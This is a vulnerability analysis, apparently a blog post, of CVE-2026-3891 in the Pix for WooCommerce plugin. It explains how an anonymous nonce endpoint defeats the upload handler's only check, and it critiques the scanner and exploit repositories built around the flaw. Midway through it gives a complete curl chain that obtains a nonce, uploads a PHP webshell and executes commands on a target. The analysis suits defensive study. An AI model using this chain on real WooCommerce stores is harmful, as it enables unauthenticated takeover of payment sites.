The C6 Bank integration for Pix for WooCommerce 1.5.0 exposes two AJAX endpoints. The first generates a WordPress nonce for the C6 settings context. The second accepts certificate file uploads and verifies that nonce before writing to disk. Both endpoints are registered for unauthenticated callers via wp_ajax_nopriv_. The nonce check in the upload handler passes because the nonce was issued by the nonce endpoint to the same unauthenticated user twenty seconds earlier. The authorization loop terminates at "is the caller talking to us," not at "is the caller permitted."
CVE-2026-3891: The Capability Check Is Missing Because the Nonce Check Was Never a Capability Check
patterns
cve
proof of concept
The registration tells the whole story
LknPaymentPixForWoocommerce.php registers four hooks on plugin load:
$this->loader->add_action(
'wp_ajax_lkn_pix_for_woocommerce_c6_save_settings',
$this->LknPaymentPixForWoocommercePixC6Class,
'lkn_pix_for_woocommerce_c6_save_settings'
);
$this->loader->add_action(
'wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings',
$this->LknPaymentPixForWoocommercePixC6Class,
'lkn_pix_for_woocommerce_c6_save_settings'
);
$this->loader->add_action(
'wp_ajax_lkn_pix_for_woocommerce_generate_nonce',
$plugin_admin, 'generate_nonce'
);
$this->loader->add_action(
'wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce',
$plugin_admin, 'generate_nonce'
);In WordPress, wp_ajax_<action> routes requests from logged-in users. wp_ajax_nopriv_<action> routes everyone else. Registering both variants with the same handler means the handler runs for any caller regardless of session state. No cookie, no Authorization header, no credentials of any kind: WordPress routes to the nopriv handler.
Both the certificate upload endpoint and the nonce endpoint that feeds it are in this category. The nonce is supposed to be the security gate. The gate is on the same side of the wall as the attacker.
The generate_nonce function in LknPaymentPixForWoocommerceAdmin.php:
public function generate_nonce()
{
if (empty($_REQUEST['action_name'])) {
wp_send_json_error(['message' => 'Missing action_name parameter.'], 400);
}
$action = sanitize_text_field(wp_unslash($_REQUEST['action_name']));
$nonce = wp_create_nonce($action);
wp_send_json_success(['nonce' => $nonce, 'action' => $action]);
}It accepts any action_name via $_REQUEST with no validation of whether the action is a known or permitted one, and returns the output of wp_create_nonce($action). When called without a session, WordPress computes the nonce against user ID 0, the anonymous identity. The nonce is valid. It is valid for user ID 0 and for the given action name.
The check at the top of the upload handler verifies freshness, not identity
The opening of lkn_pix_for_woocommerce_c6_save_settings in LknPaymentPixForWoocommercePixC6.php:
public function lkn_pix_for_woocommerce_c6_save_settings()
{
check_ajax_referer('lkn_pix_for_woocommerce_c6_settings_nonce');
// ...check_ajax_referer calls wp_verify_nonce. wp_verify_nonce computes the expected nonce value for the current user and action, compares it against the submitted token, and returns 1 or 2 if the token is valid and within the 24-hour window. The "current user" for a nopriv request is user ID 0. The nonce that was generated by generate_nonce for an anonymous caller was also computed for user ID 0 against the same action name. The comparison matches. The function returns. Execution continues.
current_user_can() is not called anywhere in this function. Not before the file write, not after, not inside the upload branch, not at all. The nonce check is the only gate.
This is the nonce-is-not-auth failure mode. WordPress nonces are CSRF tokens. They exist to prove a request is fresh and originated from a page this server served in the last 24 hours, preventing an external attacker from forging a request on behalf of a logged-in administrator. They are not identity checks. wp_verify_nonce returning true tells you the nonce was minted for this action and has not expired. It does not tell you the caller holds the manage_woocommerce capability. WordPress provides current_user_can() for that, separately. The developer reached for check_ajax_referer and treated it as a substitute for current_user_can. The two functions answer different questions.
The upload path is in the webroot and there is no extension filter
After the nonce check, the handler copies the uploaded file to disk:
$has_crt = !empty($_FILES['certificate_crt_path']['name']);
if ($has_crt) {
$crt_filename = sanitize_file_name($_FILES['certificate_crt_path']['name']);
$crt_target = $certs_dir . $crt_filename;
$tmp_file = sanitize_text_field($_FILES['certificate_crt_path']['tmp_name']);
if (is_uploaded_file($tmp_file)) {
$wp_filesystem->copy($tmp_file, $crt_target, true);
$settings['certificate_crt_path'] = 'Includes/files/certs_c6/' . $crt_filename;
}
}sanitize_file_name removes special characters from the filename. It does not strip PHP extensions. A file named shell.php passes through as shell.php. The destination $certs_dir resolves to wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/. That path is inside the WordPress installation under wp-content/plugins/, served by the PHP interpreter, with no .htaccess restricting execution in the certs_c6/ subdirectory.
This is the unauth-write-to-execution-path shape: no credentials required to write a file into a directory the PHP interpreter will execute on the next HTTP request to that path.
The complete chain for CVE-2026-3891:
# Step 1: Obtain a nonce. No session, no credentials.
curl -s -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=lkn_pix_for_woocommerce_generate_nonce' \
-d 'action_name=lkn_pix_for_woocommerce_c6_settings_nonce'
# {"success":true,"data":{"nonce":"6a2fa99d39","action":"lkn_pix_for_woocommerce_c6_settings_nonce"}}
# Step 2: Upload a PHP webshell. Still no credentials.
curl -s -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-F 'action=lkn_pix_for_woocommerce_c6_save_settings' \
-F '_ajax_nonce=6a2fa99d39' \
-F 'settings={"enabled":"yes","title":"PIX C6","pix_expiration_minutes":30}' \
-F 'certificate_crt_path=@shell.php;type=application/octet-stream'
# {"success":true,"data":{"message":"Settings saved successfully!"}}
# Step 3: Execute commands.
curl -s 'https://target.com/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php?0=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)The handler also accepts certificate_key_path alongside certificate_crt_path. The Nxploited tool uploads to both fields in a single request, placing two shells per exploitation attempt.
The scanner is not the exploit. The scanner is the input to the exploit.
AnggaTechI's repository at github.com/AnggaTechI/Mass-Scanner-CVE-2026-3891 performs step 1 only. It reads a target list, dispatches up to 200 concurrent workers via ThreadPoolExecutor, and writes results to a file whose format is declared in the output header:
# Format : <target> | nonce=<value>That format is not a debug log. It is a structured credential record: a target URL paired with a currently valid nonce, formatted for a downstream consumer. WordPress nonces are valid for up to 24 hours. Every line in the output file is a WooCommerce store and a working authorization token for its certificate upload endpoint, with time remaining on the clock.
The tool's README is an animated wall of disclaimers: "Authorized pentest / audit use only," "educational and defensive research purposes only," "authorized use only" repeated across multiple sections, rendered with status badges and typing animations. This is the disclaimer-wrapped campaign kit shape: aggressive authorized-use framing applied to a tool whose architecture describes operational harvest at scale. A 200-worker concurrent credential harvester accumulating pre-authenticated tokens for foreign payment infrastructure is not a defensive research tool. The disclaimer is the instrument that makes the tool appear to be one.
The source comments are in Bahasa Indonesia. "Print ringkas biar log gak kebanjiran" translates to "keep the output brief so the log does not flood." That is a note written for operators running large-scale scans against many hosts, not for a researcher reproducing a single finding. Pix for WooCommerce connects WordPress stores to Brazil's national instant payment system, administered by the Banco Central do Brasil. The scanner is written in Bahasa Indonesia and targets infrastructure specific to the Brazilian e-commerce ecosystem. That is not a coincidence of authorship.
The Nxploited tool at github.com/Nxploited/CVE-2026-3891 performs both steps at scale. It reads a target list, spawns worker threads, harvests a nonce and uploads a shell against each target, and writes the resulting shell URLs to shells.txt. The tool's banner line in the source references "CVE-2025-29009," a distinct file upload vulnerability in a related plugin from the same vendor. The script was retooled from an earlier campaign, not built specifically for this CVE. The shells.txt output is a list of deployed webshells on successfully compromised stores, each line ready for the next operation.
AnggaTechI accumulates pre-authenticated credentials. Nxploited deploys shells. Whether or not the two repositories are coordinated, the tooling assembled around CVE-2026-3891 within days of disclosure is complete: from reachability probe to credential harvest to shell deployment.
The patch changelog is a timeline
Version 1.6.0, published March 11, carried the entry "Security improvements to request routes." Two days after the vulnerable 1.5.0 shipped on March 9. That version removed the nopriv registrations for both c6_save_settings and generate_nonce. The upload handler became authenticated-only. The handler gained if (!current_user_can('manage_woocommerce')) as its second line. Removing the nopriv nonce generator registration follows directly: a nonce vending machine open to anonymous callers serves no legitimate purpose once the endpoint it feeds requires authentication.
Version 1.6.2, also March 12, added file extension validation. Version 1.6.3, March 19, removed MIME type validation that had been added alongside it. MIME type in a multipart form upload is supplied by the caller. An attacker sets it to whatever value the server will accept. Validating caller-supplied MIME type is validating the attacker's own assertion about the file. The extension check on the server side is the durable control. The MIME validation was added and removed within a week, which is approximately how long it takes to determine that a defense either causes false positives on legitimate certificate files or defends nothing.
The CVE was publicly disclosed March 13. The fix was already deployed March 11. The developer found this vulnerability, or was notified privately, before it was public. The window between introduction and patch was two days. The window between introduction and public disclosure was four.
The NVD description for CVE-2026-3891 says "missing capability check." That is accurate as far as it goes. What it does not describe is that a security check was written, placed, and passed over the lifecycle of every vulnerable request. check_ajax_referer is in the function. It runs. It returns true. Nothing in that check interrogates whether the caller is an administrator. WordPress offers three separate gates for three separate properties: is_user_logged_in() for session presence, nonces for CSRF protection, current_user_can() for authorization. This handler used the middle one in place of the third. The missing check was not forgotten. It was substituted.
PoC: AnggaTechI/Mass-Scanner-CVE-2026-3891 | joshuavanderpoll/CVE-2026-3891
The missing check was not forgotten. It was substituted.